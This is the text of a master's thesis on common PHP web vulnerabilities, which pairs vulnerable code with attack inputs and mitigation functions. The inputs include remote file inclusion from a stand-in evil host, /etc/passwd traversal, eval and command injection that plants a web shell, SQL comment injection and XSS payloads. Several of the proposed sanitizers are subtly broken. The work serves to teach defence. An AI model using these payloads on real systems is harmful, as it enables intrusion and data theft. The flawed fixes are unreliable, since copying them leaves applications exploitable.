Upload
others
View
11
Download
0
Embed Size (px)
Citation preview
SECURITY VULNERABILITIES IN PHP APPLICATONS
_______________
A Thesis
Presented to the
Faculty of
San Diego State University
_______________
In Partial Fulfillment
of the Requirements for the Degree
Master of Science
in
Computer Science
_______________
by
Mirza Mohammed Akram Baig
Spring 2012
iv
DEDICATION
I want to dedicate this work to my parents for their continuous support and
motivation. To all my family and friends for being there at all times when I needed them
most.
v
ABSTRACT OF THE THESIS
Security Vulnerabilities in PHP Applications by
Mirza Mohammed Akram Baig Master of Science in Computer Science
San Diego State University, 2012
PHP is a general-purpose server-side scripting language for creating dynamic web pages. Most people grasp PHP syntax rather quickly and will within short time be able to produce a script that works using online tutorials, references & books. The problem is that most people forget the security aspect of PHP that one must consider when writing PHP applications. Presented are the most common PHP web application vulnerabilities & the necessary mechanisms required to write secure code by leveraging PHP’s unique features. Also mentioned are the common programming mistakes done by developers when building PHP web applications & necessary means to protect against such vulnerabilities.
vi
TABLE OF CONTENTS
PAGE
ABSTRACT ...............................................................................................................................v
LIST OF FIGURES ............................................................................................................... viii
ACKNOWLEDGEMENTS ..................................................................................................... ix
CHAPTER
1 INTRODUCTION .........................................................................................................1
2 REMOTE FILE INCLUSION .......................................................................................2
3 LOCAL FILE INCLUSION ..........................................................................................5
4 COPY FUNCTION BYPASS .......................................................................................8
5 PATHINFO FUNCTION BYPASS ............................................................................10
6 STRIP TAGS FUNCTION BYPASS ..........................................................................13
7 EVAL INJECTION .....................................................................................................17
8 MAGIC QUOTES .......................................................................................................20
9 FILE UPLOAD VULNERABILITY ...........................................................................22
10 COMMENT INJECTION ............................................................................................27
10.1 Database Injection ..........................................................................................27
10.2 Shell Injection ................................................................................................28
10.3 HTML Injection .............................................................................................28
11 SHELL INJECTION ....................................................................................................30
12 EMAIL INJECTION ...................................................................................................36
13 SEMANTIC URL ATTACK .......................................................................................38
14 CROSS-SITE REQUEST FORGERY ........................................................................40
15 FILE READ VULNERABILITY ................................................................................43
16 FILE WRITE VULNERABILITY ..............................................................................45
17 FULL PATH DISCLOSURE ......................................................................................48
18 CROSS SITE SCRIPTING ..........................................................................................50
19 SQL INJECTION.........................................................................................................54
20 AUTHENTICATION BYPASS ..................................................................................59
vii
21 SOURCE CODE EXPOSURE ....................................................................................61
REFERENCES ........................................................................................................................63
viii
LIST OF FIGURES
PAGE
Figure 2.1. Remote file inclusion attack. ...................................................................................3
Figure 3.1. Local file inclusion attack. ......................................................................................6
Figure 5.1. Pathinfo function. ..................................................................................................11
Figure 5.2. Output of path_info_bypass.php with potential exploit given to the script. .........12
Figure 6.1. Default output of strip_tags_attack.php. ...............................................................14
Figure 6.2. Output of strip_tags_attack.php when mouse is moved towards the image. ........15
Figure 7.1. Eval injection attack. .............................................................................................19
Figure 9.1. File upload form. ...................................................................................................22
Figure 9.2. File upload attack. .................................................................................................24
Figure 11.1. Shell injection attack with information about the processes currently on the server. .....................................................................................................................31
Figure 11.2. Shell injection attack for creating PHP script......................................................32
Figure 11.3. Shell injection attack with previously created evil.php. ......................................33
Figure 12.1. Contact us form. ..................................................................................................36
Figure 16.1. File write attack. ..................................................................................................46
Figure 17.1. Full path disclosure..............................................................................................49
Figure 18.1. High level view of XSS attack. ...........................................................................51
Figure18.2. XSS attack. ...........................................................................................................52
Figure 19.1. HTML login form. ...............................................................................................54
Figure 19.2. HTML login form with malicious input. .............................................................56
Figure 19.3. Default output login.php. .....................................................................................57
ix
ACKNOWLEDGEMENTS
I am heartily thankful to Professor Alan Riggins for all his continuous advice,
encouragement, and guidance at all times. I am also grateful to Dr. Joseph Lewis and
Professor Arnold Villone for being on my committee and for trusting me with this project
and providing their kind support and co-operation throughout the project.
1
CHAPTER 1
INTRODUCTION
If you spend more on coffee than on Web application security, you will be hacked. What's more, you deserve to be hacked.
–Richard Clarke
Writing PHP applications is pretty easy. Most people grasp the syntax rather quickly
and will within short time be able to produce a script that works using tutorials, references &
books [1]. The problem is that most people forget one of the most important aspects that one
must consider when writing PHP applications. Many beginners forget the security aspect of
PHP. Generally, your users are nice people, they will do as they are told and you will have no
problem with these people whatsoever [1]. However, some people are not quite as nice.
Some people are outright malicious and are seeking to do damage on your website. They will
scrutinize your application for security flaws and exploit these holes. Many times the
beginner programmer did not know that these things would even be a problem and therefore
it might be a problem to fix the holes [1].
The purpose of this study is to identify common PHP web application vulnerabilities
& the necessary mechanisms to write secure code by leveraging PHP’s unique features. As
some people learn best by example, I use example vulnerable code and show exploitation of
vulnerabilities in PHP applications. Real world examples of vulnerabilities in PHP software
are also shown to educate the reader. Lastly, it should be noted that examples in this project
are intended to teach basics and is not necessarily a reflection of real world exploitation.
2
CHAPTER 2
REMOTE FILE INCLUSION
Remote File Inclusion (RFI) is a type of vulnerability most often found on websites.
It allows an attacker to include a remote file, usually through a script on the server [2]. In
PHP the main cause is due to the use of include and require statements. File inclusion is
mainly utilized for packaging common code into separate files that are later referenced by
main application modules. When a web application references an include file, the code in this
file may be executed implicitly or explicitly by calling specific procedures [3].
The key to success of an RFI attack is that the hacker must be able to send the URL
of the remote file into your script, disguised as innocent data [4]. In order to make RFI
successful, hacker just have to do is find/guess the variables by which a script accepts
incoming data, make note of the variable names and then start sending ordinary requests to
the script of the type it normally expects, but with one difference: the values of the variables
it sends are all the URL of the remote script they want your script to execute [4].
An attacker can use RFI for [2]:
Code execution on the web server.
Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).
Denial of Service (DoS).
Data Theft/Manipulation.
Consider the following PHP script (rfi.php) which takes user input using GET method
& includes it:
<?php
$sample=$_GET['variable_1'];
include $sample;
?>
Now consider the following GET request:
http://localhost:8888/hello.php?variable_1=http://evilsite.com/Evilscript.
txt
Suppose the Evilscript.txt contains following code:
3
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>
Above GET request will execute shell command contained in Evilscript.txt and print
list of sorted files by time modified along with encountered subdirectories. Following output
(Figure 2.1) will show to the attacker:
Figure 2.1. Remote file inclusion attack.
The solution to this problem is to always filter input string for http://, https:// or
ftp://remote files. Consider a function called filter_rfi(), which will remove (RFI)
vulnerabilities:
function filter_rfi($str)
{
$order = array("http://", "https://", "ftp://");//RFI Array
$replace = '';
4
$newstr = str_replace($order, $replace, $str);
$newstr = str_replace(chr(0), '', $newstr);
$newstr = str_replace(chr(63), '', $newstr);
return $newstr;
}
5
CHAPTER 3
LOCAL FILE INCLUSION
Local File Inclusion (LFI) is the process of including files on a server through the
web browser. Local File Inclusion attack consists of exploiting a non-protected script on the
server to read the content of another file that is not initially permitted by the application [5].
This vulnerability occurs when a page include is not properly sanitized, and allows directory
traversal characters to be injected [6].
A directory traversal (or path traversal) consists in exploiting insufficient security
validation or sanitization of user-supplied input file names, so that characters representing
"traverse to parent directory" are passed through to the file APIs [7].
The goal of this attack is to order an application to access a computer file that is not
intended to be accessible [7]. Consider a PHP script (lfi.php) vulnerable to LFI is as follows:
<?php
$file = $_GET['page'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
A legitimate request made to the script could look like this:
http://localhost:8888/lfi.php?page=help.php
Now suppose an attacker enters following GET request:
http://localhost:8888/lfi.php?page=../../../etc/passwd
An error message pops up stating no such file or directory exists:
Warning: include(../../../etc/passwd) [function.include]: failed to open
stream: No such file or directory in C:\wamp\www\lfi.php on line 3
Further if the attacker goes more directories up by making following GET request:
6
http://localhost:8888/lfi.php?page=../../../../../../../../../etc/passwd
If the application is vulnerable to LFI then result of above GET request will be
complete user information in that server with paths & following output (Figure 3.1) will be
displayed in the browser:
Figure 3.1. Local file inclusion attack.
Let’s update the above php script by filtering input data to protect against simplest
LFI attacks accordingly:
<?php
$file = str_replace('../', ' ', $_GET['page']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
7
Now, if an attacker tries to inject previous GET request then LFI attack will no longer
work. If you think LFI attacks can no longer takes place then ‘think again my friend’. In
order to evade the filters an attacker might encode one or more characters into hexadecimal.
This works because the browser decodes the input, but PHP does not. Attackers new LFI
with hexadecimal characters would look like:
http://localhost:8888/lfi.php?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd
In order to prevent Local File Inclusion (LFI) attacks, first we need to detect the
directory traversal attack & take the necessary actions. Consider detect_directory_traversal
function which will return true if directory traversal attack is detected otherwise valid path
entered by the user.
PHP code detect_directory_traversal:
function detect_directory_traversal($userpath)
{
$detect = false;
$realUserPath = realpath($userpath);
if ($realUserPath === false)
{
$detect = true; //Directory Traversal Detected
}
else
{
$detect = $realUserPath; //Good path
}
return $detect;
}
8
CHAPTER 4
COPY FUNCTION BYPASS
Copy function copies a file. This function returns TRUE on success and FALSE on
failure [8].
Syntax:
copy(source,destination)
Where: Source (Required): Specifies the file to copy Destination (Required): Specifies the file to copy to
Copy function suffers from null byte injection. Null Byte Injection is an active
exploitation technique used to bypass sanity checking filters in web infrastructure by adding
URL-encoded null byte characters (i.e. %00, or 0x00 in hex) to the user-supplied data. This
injection process can alter the intended logic of the application and allow malicious
adversary to get unauthorized access to the system files [9].
Consider a php script (copy.php) which takes file name as input from the user & then
copies given file onto destination.
<?php
$source = $_GET['file'];
$destination = 'backup.txt ';
if (copy($source, $destination))
{
echo "Sucessfully copied $source...\n";
}
else
{
echo "failed to copy $source...\n";
}
?>
Now consider the following GET request:
http://localhost:8888/copy.php?file= image.php%00.jpg
9
If above code is executed using copy () then instead of .jpg file .php script will be
copied & whenever the file is read then code in image.php gets executed.
The solution to this problem is to filter out null byte from the input string. Consider a
copy_file function which will copy the given file by removing null byte as shown below.
This function will also return TRUE on success and FALSE on failure.
PHP code copy_file:
function copy_file($source_file,$target_file)
{
$newstr = str_replace(chr(0), '', $source_file); // NULL BYTE
$result = copy("$newstr","$target_file");
return $result;
}
10
CHAPTER 5
PATHINFO FUNCTION BYPASS
The pathinfo() built-in PHP function returns information about a file path & is often
used by developers to identify the types of files being specified in URLs. Pathinfo will do
simple parsing of path and filenames and present an array of useful attributes such as the base
name of the file specified or the file extension of the file specified [10]. Consider a following
php pathinfo example (path_info.php)
<?php
$path_parts = pathinfo('/www/htdocs/index.html');
echo “PATHINFO_DIRNAME:” . $path_parts['dirname'] . "\n";
echo “PATHINFO_BASENAME:” . $path_parts['basename'] . "\n";
echo “PATHINFO_EXTENSION:” . $path_parts['extension'] . "\n";
echo “PATHINFO_FILENAME:” . $path_parts['filename'] . "\n";
?>
This produces following output (Figure 5.1).
As you can see this is very useful for identifying the types of files that are being
requested. However, in many cases programmers will use this information as authoritative,
relying in pathinfo() to report accurately. Pathinfo's parsing can be easily bypassed by using
the age old trick of appending extra dots and extensions to the filename [10].
Now let’s consider an example of vulnerable php script(path_info_bypass.php) like:
<?php $fname = pathinfo($_GET['file']); if ($fname['extension'] == 'jpg') { echo "Result: Valid Image(.jpg) file <br>"; echo "Extension:" . " " . $fname['extension'] . "<br>"; echo "File Name:" . " " . $_GET['file']; } else { echo "Invalid Image(.jpg) file <br>"; } ?>
11
Figure 5.1. Pathinfo function.
If an attacker makes following GET request:
http://localhost:8888/ path_info_bypass.php?file=image.php.jpg
If statement will get satisfied & following browser output (Figure 5.2) will be shown.
From the browser output it is clear that this can be an extremely dangerous
vulnerability because a developer using this style of code might think that he had
successfully limited files by including only files with image extensions but in fact attackers
can bypass the filter and cause arbitrary file inclusion [10].
In order to prevent such vulnerability a developer can create a function like
get_file_extension which can detect multiple extensions in the input string & returns true if
multiple extensions are detected else will return extension if the input string has valid
extension.
12
Figure 5.2. Output of path_info_bypass.php with potential exploit given to the script.
PHP code get_file_extension:
function get_file_extension($string = '')
{
$pieces = explode(".", $string);
$count = count($pieces);
if($count>2)
{
$extension = false;
}
else
{
$extension = $pieces[1];
}
return $extension;
}
13
CHAPTER 6
STRIP TAGS FUNCTION BYPASS
As the name suggests php built-in strip_tags function is used to strip HTML and PHP
tags from a string. Consider the following php code:
<?php
echo strip_tags("Hello <b>world!</b>");
?>
The output of the code above will be:
Hello world!
Strip_tags function also takes an optional second parameter which is a string of
permitted tags which can be well explained in below example:
<?php
$text = '<p>Test paragraph.</p><b>Test
bold</b><a href="http://example.com">Other text</a>';
// Allow <p> and <a> tags
echo strip_tags($text, '<p><a>');
?>
Now the Output is:
<p>Test paragraph.</p>Test bold<a href http://example.com">Other text</a>
According to strip_tags if a tag is permitted, then all possible attributes of it are also
permitted which may lead to serious vulnerability which an attacker can easily exploit.
Consider an example of php script(strip_tags_attack.php) like:
<?php
$malicious = <<<EOSTR
This is a malicious string with a picture in it:
<img src="http://opatija.sdsu.edu/~akram/php.png"
14
onMouseOver="alert('OOPS! XSS Attack')"/>
EOSTR;
$my_string = strip_tags($malicious, '<img>');
echo $my_string;
?>
Above php script will produce following browser output (Figure 6.1).
Figure 6.1. Default output of strip_tags_attack.php.
But when the mouse courser is moved over the image, an alert box with a message
pops up. Since image tag is allowed all attributes related to it are also allowed, which may
lead to serious vulnerabilities such as cross site scripting (XSS) as shown in below browser
output (Figure 6.2).
The solution to this problem is to prevent interpretation of all attributes of a permitted
tag. Consider strip_tags_attributes function which will prevent above vulnerability by not
allowing standard HTML event attributes.
15
Figure 6.2. Output of strip_tags_attack.php when mouse is moved towards the image.
PHP code strip_tags_attributes:
function strip_tags_attributes($String, $AllowedTags = '')
{
$disable=array('onabort', 'onactivate', 'onafterprint', 'onafterupdate',
'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate',
'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload',
'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange',
'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut',
'ondataavaible', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick',
'ondeactivate', 'ondrag', 'ondragdrop', 'ondragend', 'ondragenter',
'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror',
'onerrorupdate', 'onfilterupdate', 'onfinish', 'onfocus', 'onfocusin',
'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup',
'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown',
'onmouseenter', 'onmouseleave', 'onmousemove', 'onmoveout', 'onmouseover',
'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart',
'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset',
16
'onresize', 'onresizeend', 'onresizestart', 'onrowexit', 'onrowsdelete',
'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange',
'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$str = strtolower($String);
$filter_1 = strip_tags($str, $AllowedTags);
$replace = '';
$filter_2 = str_replace($disable, $replace, $filter_1);
return $filter_2;
}
Now if the attacker tries to insert JavaScript attributes into the string then the attack
will fail.
17
CHAPTER 7
EVAL INJECTION
The eval() function evaluates a string as PHP code. This function returns NULL
unless a return statement is called in the code string. Then the value passed to return is
returned. If there is a parse error in the code string, eval() returns FALSE [11].
Consider a simple example of eval():
<?php
$animal = "fox";
$color = "brown";
$str = 'A lazy $animal jumps over a $color fence!';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?>
The output of above code will be:
A lazy $animal jumps over a $color fence!
A lazy fox jumps over a brown fence!
Since eval function evaluates a string as PHP code it should be noted that eval don’t
like any opening <?php or ending <? tag within the string which it is going to be evaluated.
Now for example, have a look at this code:
<?php
echo '<p>Hello there</p>';
eval( '<?php echo "<p>I am supposed to get printed after evaluation</p>";
?>' );
echo '<p>And I am a normal echo</p>';
?>
If the above code is executed it will throw a Parse Error as shown below:
18
Parse error: syntax error, unexpected '<' in C:\wamp\www\eval_check.php(5)
: eval()'d code on line 1
So how is eval function vulnerable? In eval($code_string), eval evaluates given
code_string variable as PHP code. Imagine a form consisting of username input field
value using eval($_POST['username']), if the hacker type the following value in the input
field:
mail("[email protected]", "Passwords", '/bin/cat/etc/passwd')
The script will be sending server’s password to the hacker. Now let’s consider a real
world example of php script(eval.php):
<?php
$admin = "akram";
$new = $_GET['name'];
eval('$admin = '. $new .';');
?>
Since the argument of eval will be processed as php code, an attacker can append
additional commands. For example if the attacker enters following GET request:
http://localhost:8888/eval.php?name=mike;system('find . -print | sed -e
\'s;[^/]*/;|____;g;s;____|; |;g'');
Additional code is run which executes a system command on the server, resulting in
contents of directories in a tree-like format shown in below browser output (Figure 7.1).
To prevent eval injection care full filtering of user input should be carried out.
Consider a function called safe_eval which will parse/sanitize input string for any eval
injections before giving the input string as argument to eval function.
PHP code safe_eval:
function safe_eval($string)
{
$new_line = chr(10);
if(strpos($string,$new_line))
{
exit("$string contains eval injection");
}
$meta_characters = array('$','{','}','[',']','`',';');
$encode = array('$','{','}','[',']','`',';');
19
Figure 7.1. Eval injection attack.
$output = addslashes($string);
$out = str_replace($meta_characters,$encode,$output);
return $output;
}
Above function will first check whether the user input contains a newline character, if
it does then function will immediately exit with a message [12]. Otherwise, applying ASCII
encoding to PHP meta-characters found in the input string and returning output string to be
used as argument in eval function.
20
CHAPTER 8
MAGIC QUOTES
Magic Quotes were created by the PHP developers to help protect newbie
programmers from writing bad form processing code by adding some default security into
PHP. When turned on, Magic Quotes automatically performs an addslashes function on all
form data submitted. This means that a backlash [\] is placed before every ['], ["], [\], or null
character in the data. So a String: That’s Great would be converted to That\'s Great
automatically.
This all happens before you’re coding even sees that data, so if you're just passing a
string to the next page (and not to a database) it will print out with slashes even though you
may not want them. This is the first problem.
The second is that that they pose a portability nightmare. Some hosts have magic
quotes setting on, while others don't; if you're writing a script that's going to be used on
multiple systems, you need to check whether magic quotes is turned on and act appropriately
[13].
If this functionality is turned on, which means that all GPC data coming into the
script is safe for database entry but at the same time same data is not destined for database.
For example consider PHP code given below:
<?php
$lastname = $_POST['lastname']; // O\'Connor
// If using MySQL
$sql = "INSERT INTO REDIDS (lastname) VALUES ('$lastname')";
?>
Now suppose magic_quotes are on & user provides lastname as “O’Connor”. If the
above SQL statement is executed then instead of “O’Connor”, “O\’Connor” will be inserted
into REDIDS table. This might create serious issues if same data is being used for validation
purpose.
21
In order to prevent avoid this functionality. One might check if the setting is turned
on and, if it isn't, add magic quotes using the add_magic_quotes function [13]:
function add_magic_quotes($array) {
foreach ($array as $i => $j) {
if (is_array($v)) {
$array[$i] = add_magic_quotes($j);
} else {
$array[$i] = addslashes($j);
}
}
return $array;
}
In-order to use the above function, first check whether magic_quotes_gpc setting is
turned on/off using code given below:
if (!get_magic_quotes_gpc()) {
$_GET = add_magic_quotes($_GET);
$_POST = add_magic_quotes($_POST);
$_COOKIE = add_magic_quotes($_COOKIE);
}
Alternatively, you can do the opposite, and remove the slashes if magic quotes are
turned on using the remove_magic_quotes function [13]:
function remove_magic_quotes($array) {
foreach ($array as $i => $j) {
if (is_array($j)) {
$array[$i] = remove_magic_quotes($j);
} else {
$array[$i] = stripslashes($j);
}
}
return $array;
}
22
CHAPTER 9
FILE UPLOAD VULNERABILITY
Various web applications allows user to upload pictures, pdf, videos, avatars etc. A
simple file upload form usually consists of a HTML form and a PHP script [14]. The HTML
form, is the form presented to the user, while the PHP script contains server side code that
takes care of the file upload.
File Upload vulnerabilities are generally found in file upload scripts that do not do
sufficient checking of what file(s) are being uploaded and stored on the server [15]. For
example consider a naive implementation of file upload that do not check the file extension
of the file being uploaded, which may lead to execution of malicious code on server.
Consider HTML Form shown in Figure 9.1.
Figure 9.1. File upload form.
23
HTML code for above form is as follows:
<form enctype="multipart/form-data" action="upload.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
Now consider upload.php script which takes input from above html form & perform
the upload operation onto the server.
<?php
$target_path = "uploads/";
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path))
{
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
}
else{
echo "There was an error uploading the file, please try again!";
}
?>
This implementation suffers from a major security hole. Script upload.php allows
users to upload arbitrary files to ‘uploads’ directory under the web root [16]. A malicious
user can upload a PHP file, such as a PHP shell and execute arbitrary commands on the
server with the privilege of the web server process [16].
Now if the attacker tries to upload phpinfo.php
<?php
phpinfo();
?>
It will be uploaded easily into uploads directory & if the attacker enters following
request then all the information about the server will be exposed to the attacker as shown in
Figure 9.2
Now let’s try to modify the upload php script to include some basic security:
<?php
$filename = $_FILES['uploadedfile']['name'];
24
Figure 9.2. File upload attack.
$filenameinfo = pathinfo($filename);
$file_exten = $filenameinfo['extension'];
if (($file_exten == 'jpg') || ($file_exten == 'jpeg') || ($file_exten ==
'gif'))
{
$target_path = "uploads/";
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path))
{
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
}
else{
echo "There was an error uploading the file, please try again!";
25
}
}
else
{
echo "Please upload valid image file";
}
?>
Above php script will check for extension in order to validate the file. Now if the
attacker tries to upload the phpinfo.php then it will fail stating ‘Please upload valid image
file’. Further to bypass the validation filters an attacker might put php code into the image
file simply by using command line:
echo '<?php phpinfo(); ?> '> phphome.jpg
Now if the attacker tries to upload phphome.jpg it will be uploaded successfully. In
order to prevent this problem let’s modify the upload php script to include content type
verification:
<?php
if($_FILES[' uploadedfile ']['type'] != "image/gif")
{
echo "Please upload only GIF image files";
}
else
{
$uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['
uploadedfile ']['name']);
if (move_uploaded_file($_FILES[' uploadedfile ']['tmp_name'],
$uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
}
}
?>
Now if the attacker tries to upload arbitrary files other that GIF files, the application
will check the MIME type in the upload request and refuse to upload the file.
26
Unfortunately, there is a way for the attacker to bypass this protection. What the
application checks is the value of the Content-type header [16]. In the request above it is set
to "text/plain". However, nothing stops the attacker from setting it to "image/gif". Which
means a file can be a proper GIF or JPEG image & at the same time valid php script. After
all, the attacker completely controls the request that is being sent [16]. Consider
fakemime.jpg script below:
<?php
header('Content-Type: image/jpeg');
header('Content-Type: text/html');
$output = system('help');
echo $output;
?>
Above uploading fakemime.jpg script changes the Content-type header value to
image/gif, which makes upload2.php happily accept & execute the file [16].
Following guidelines should be followed in order to secure the use of file uploads:
Store uploaded files outside of the document root. For instance, files should be uploaded to directories that exist outside of the application path. This means that the file can still be read by the web server, but can never be directly called by an attacker via a specific URL [17].
Use multiple levels of security to verify if authentic file is being uploaded to the server. This means using basic validation along with content type verification, limiting the size of file, using modified version of path_info function mention in path_info vulnerability chapter.
Careful control over the display of these files should be utilized. For instance, when displaying a file the developer can call the file by calling a separate PHP file that renders the file with code such as [17]:
<?php
header('Content-Type: text/plain');
header("Content-Disposition: inline; filename=\"$file_name\"");
echo $file;
?>
This PHP code will display PHP code but will not run. Similarly displaying images
can be controlled by specifying 'Content-Type' declarations when the images are displayed as
shown in above example [17].
27
CHAPTER 10
COMMENT INJECTION
Comment injection vulnerability is caused due to comments injected into a web
application form as inputs which may lead to compromise a system. As input data is parsed,
an injected comment may cause the program to take unexpected actions that may result in an
attack. Comment injection attack may lead to database compromise, shell injection & even
html injection. Let’s consider each attack one by one.
10.1 DATABASE INJECTION
If the attacker has the ability to manipulate queries which are sent to the database,
then he's able to inject a terminating character too [18]. Consider a php script (database.php)
which takes input from user and retrieves information from the database as follows:
<?php $ID = $_GET['id']; $connect = mysql_connect("localhost","akram","abc123"); if (!$connect) { die('Could not connect: ' . mysql_error()); } mysql_select_db("my_db", $connect); $result = mysql_query("SELECT fname FROM persons WHERE id = $ID limit 1;"); $row = mysql_fetch_array($result) or die(mysql_error()); echo $result; mysql_close($connect); ?> Let's assume that the attacker has sent via the GET method the following data stored
in variable $ID:
http://localhost:8888/database.php?id= 1 or 1=1; #
The impact of above GET request is that the interpretation of the query will be
stopped at the terminating character. In the end the final query form is:
SELECT fname FROM persons WHERE id = 1 or 1=1; # limit 1;
After the # character everything will be discarded by the database including "limit 1",
so only the last column "fname" with all its records will be received as a query response.
28
10.2 SHELL INJECTION
Shell (bash) also has the character #, which terminates interpretation [18]. For
example consider php script (find.php):
<?php $find = $_GET['who]; system("/usr/bin/find -name '$find' -type f"); ?> Now suppose an attacker enters following GET request:
http://localhost:8888/fine.php?who=*'%20%23
The command:
/usr/bin/find -name '*' -type f
Will become:
/usr/bin/find -name '*' #-type f
So the final form of the command is:
/usr/bin/find -name '*'
10.3 HTML INJECTION
Suppose there is a comment page on a web application & if there are no restrictions
about who is able to insert comments, then using the start comment tag(<!--). It is possible to
comment out the rest of displayed content on the website.
PHP script comment.php [18]:
<?php print "hello!: "; print $_GET['user_name']; print " Welcome friend!"; ?> Now if the attacker enters following GET request:
http://localhost:8888/comment.php?user_name=<!--
The result will be:
hello!:
In order to prevent comment injection attacks, best solution is to filter out php & html
comments from the user input string using below custom made function (sanitize_comments)
like:
function sanitize_comments($text)
{
$text = urldecode($text);
29
$result = str_replace(array("/*", "*/", "#", "//", "<!--", "-->", ""), '',
$text);
return $result;
}
30
CHAPTER 11
SHELL INJECTION
Shell injection, also known as command injection is one of the most critical
vulnerability, which allows an attacker to execute unwanted system commands and gain
unauthorized access to user’s information [19]. An OS command injection attack occurs
when an attacker attempts to execute system level commands through a vulnerable
application [20].
To understand how most shell injection attack works consider a php script which
takes input from a user & test the reachability of a host on an Internet Protocol (IP) network.
<?php
$query = "ping -c 4 " . $_GET['domain'];
$output = shell_exec($query);
echo "<pre>$output<pre>";
?>
Now suppose an attacker makes the following GET request:
http://localhost:8888/test.php?domain= yahoo|ps -ax
In the above url “|” or “&” is used to append other commands onto the one being
executed at once. Similarly back ticks ` ` are used in order to encapsulate commands to be
evaluated and then output [15]. Output of above requested is the list of all process
information on the server as shown in Figure 11.1.
Once the attacker finds out that a php application is vulnerable to shell injection, he
might enter following GET request:
http://localhost:8888/test.php?domain= yahoo|echo “<?php echo
system(\$_GET[‘cmd’]); ?>” > evil.php
Above request will create a php script called evil.php with system shell command in
it as shown in browser output (Figure 11.2).
Now the attacker can execute system level commands & gain unauthorized access to
user’s information using evil.php script as shown in below browser output (Figure 11.3).
31
Figure 11.1. Shell injection attack with information about the processes currently on the server.
34
PHP offers several ways to execute external programs and commands via the system
shell [15]. Examples of such function are:
exec()
passthru()
backticks operator (`)
system()
popen()
In order to prevent from shell injection consider shell_safe() function which will
make the user input safe for executing in shell commands.
PHP code safe_shell:
function safe_shell()
{
$numargs = func_num_args();
$command = func_get_arg(0);
if($numargs = 1)
{
$escaped_command = escapeshellcmd($command);
}
elseif($numargs > 1)
{
$arg_list = func_get_args();
for ($i = 1; $i < $numargs; $i++)
{
$command .= escapeshellarg($arg_list[$i]);
}
$escaped_command = $command;
}
return $escaped_command;
}
To use above function, a user can give following sytax:
1. safe_shell($command)
Example:
$arg1 = $POST['arg'];
$cmd = "/usr/bin/os -c $arg1";
$command = safe_shell($cmd);
35
$result= shell_exec($command);
2. safe_shell($command,$arg1)
Example:
$cmd = '/usr/bin/os -c';
$arg1 = $POST['arg'];
$command = safe_shell($cmd,$arg1);
$result= shell_exec($command);
3. safe_shell($command,$arg1,$arg2,...,$argn)
Example same as above.
36
CHAPTER 12
EMAIL INJECTION
Nowadays, most of the websites contains contact us form in order for the public to
communicate with the company instead of posting their webmaster’s email addresses.
Consider a simple contact us form (Figure 12.1) consist of a user information section (name,
company, email etc.), and a contact detail section (purpose for contact, subject, and
description) as shown below [21]:
Figure 12.1. Contact us form.
Once a contact us form is filled in by a user, all data entered in the email form is sent
to a php script. Which in turn calls on mail() function to deliver the email [22]. For example,
the code for such a script might look like the following:
mail($RECIPIENT,$SUBJECT,$MESSAGE,"From: $EMAIL");
Where:
$RECIPIENT: Webmaster’s email address (Generally hardcoded within script)
$SUBJECT: Subject of message.
$MESSAGE: Information to be sent.
$EMAIL: User’s email address.
37
If the script takes no effort in sanitizing the $SUBJECT, $EMAIL variables before
making a call to mail () function, it is possible for a spammer to inject additional headers into
the email messages by placing lines like the following into the $EMAIL variable [22]:
CC: [email protected],
[email protected], [email protected]
Now the PHP mail() function will include above string into the header of the email
message and pass it along to the mail transport agent, which in turns delivers the mail to
everyone on that list [22]. Thus your script has been hijacked to do the spammer's bidding.
In order to avoid spam caused by PHP mail() function, best solution is to filter user
given input before providing it to mail function.Consider a PHP function safe_mail() which
will removed above stated vulnerability.
PHP code safe_mail:
function safe_mail($to,$subject, $message, $headers = '')
{
$subject = urldecode($subject);
$subject = preg_replace("/([\r\n](.*))/", '', $subject);
$headers = urldecode($headers);
$header = preg_replace("/([\r\n](.*))/", '', $headers);
if (empty($headers))
{
$result = mail($to,$subject,$message);
}
else
{
$result = mail($to,$subject,$message,$headers);
}
if($result == TRUE)
{echo "Mail Sent.";}
else
{echo "Error Sending Mail.";}
}
38
CHAPTER 13
SEMANTIC URL ATTACK
In a Semantic URL attack, a client manually adjusts the parameters of its request by
maintaining the URL's syntax but altering its semantic meaning [23]. For example, if the user
clicks a link/button in a shopping cart application & arrives at:
http://www.mywebapplication.com/viewPaymentDetails?receiptId=7892
This will show payment details by querying the database. It is reasonable to assume
that he will try to see what happens when the value for ‘receiptId’ is changed. For example,
he might visit:
http://www.mywebapplication.com/viewPaymentDetails?receiptId=7894
An attacker might try to see if he can access someone else's information. While GET
data is only slightly more convenient to manipulate than POST data, its increased exposure
makes it a more frequent target, particularly for novice attackers [24].
To better illustrate the attack consider a web-based e-mail application where users can
reset their password by answering the security question correctly, and allows the users to
send the password to the e-mail address of their choosing. After they answer the security
question correctly, the web page will arrive to the following web form where the users can
enter their alternative e-mail address [23]:
<form action="resetpassword.php" method="GET">
